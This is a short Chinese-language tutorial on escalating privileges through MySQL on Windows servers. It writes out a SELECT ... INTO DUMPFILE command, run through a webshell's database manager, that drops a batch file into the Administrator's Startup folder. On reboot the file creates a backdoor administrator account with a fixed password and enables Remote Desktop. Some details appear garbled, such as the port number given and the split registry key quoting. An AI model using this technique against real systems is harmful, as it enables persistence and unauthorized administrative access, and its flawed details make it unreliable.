mysql数据库提权之——开机启动项提权

前提：只能在windows使用

原理
利用mysql，将后门写入开机自启动项，因为是开机自启动，在写入之后，需要重启目标服务器才能生效(要求mysql的权限要很高，至少是管理员权限甚至需要system权限)

开机启动程序上传路径
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
或者C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\（windows2003、xp、win10的路径）

过程
1.上传批处理文件1.bat到开机启动项程序上传路径
利用菜刀的数据库管理执行以下mysql命令（创建一个lp用户，将其添加到管理员组，并开启远程桌面3309）

select "net user lp 123.com /add & net localgroup administrators lp /add & REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f" into dumpfile "C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1.bat"

2.服务器重启时，即可自动创建一个具有管理员权限的用户lp，并且会开启3309端口，我们可以使用lp用户进行远程连接